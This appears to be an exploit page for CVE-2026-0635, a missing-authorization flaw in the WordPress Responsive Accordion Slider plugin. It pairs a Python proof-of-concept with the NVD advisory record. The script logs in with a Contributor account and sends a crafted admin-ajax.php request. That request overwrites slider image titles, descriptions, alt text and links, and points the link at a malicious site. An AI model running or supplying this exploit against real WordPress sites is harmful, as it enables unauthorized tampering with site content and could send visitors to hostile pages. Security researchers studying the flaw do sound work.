CVE-2026-0635

import requests import sys from urllib.parse import urlencode # Configuration wordpress_url = "http://target-wordpress-site.com" username = "attacker_contributor" password = "attacker_password" # Target slider ID (can be enumerated or guessed) slider_id = 1 # Malicious metadata malicious_data = { "action": "resp_accordion_silder_save_images", "slider_id": str(slider_id), "image_title": "Hacked Title", "image_description": "Malicious content injected by attacker", "image_alt": "Compromised Alt Text", "image_link": "https://malicious-site.com" } def exploit(): """ CVE-2026-0635 PoC - Missing Authorization in Responsive Accordion Slider This exploit demonstrates the lack of capability check in the 'resp_accordion_silder_save_images' function, allowing any authenticated user with Contributor+ role to modify slider image metadata. Steps: 1. Authenticate with WordPress using Contributor account 2. Send crafted POST request to admin-ajax.php endpoint 3. Server processes request without authorization verification 4. Malicious metadata is saved to database """ # Create session session = requests.Session() # Step 1: Login to WordPress login_url = f"{wordpress_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{wordpress_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in session.cookies.get_dict(): print("[-] Authentication failed") return False print("[+] Authentication successful as Contributor") # Step 2: Send malicious request to modify slider metadata ajax_url = f"{wordpress_url}/wp-admin/admin-ajax.php" print(f"[*] Sending malicious request to modify slider {slider_id}...") exploit_response = session.post(ajax_url, data=malicious_data) # Step 3: Verify exploitation if exploit_response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Slider metadata has been modified without proper authorization") return True else: print("[-] Exploit failed") return False if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-0635", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:55.047", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Responsive Accordion Slider plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'resp_accordion_silder_save_images' function in all versions up to, and including, 1.2.2. This makes it possible for authenticated attackers, with Contributor-level access and above, to modify any slider's image metadata including titles, descriptions, alt text, and links."}, {"lang": "es", "value": "El plugin Responsive Accordion Slider para WordPress es vulnerable a la modificación no autorizada de datos debido a una comprobación de capacidad faltante en la función 'resp_accordion_silder_save_images' en todas las versiones hasta la 1.2.2, inclusive. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, modifiquen los metadatos de imagen de cualquier slider, incluyendo títulos, descripciones, texto alternativo y enlaces."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/responsive-accordion-slider/tags/1.2.2/includes/admin/class-ras-admin.php#L101", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/55cfb2c6-ca3f-45b7-8cd9-a5a1c3783ae0?source=cve", "source": "[email protected]"}]}}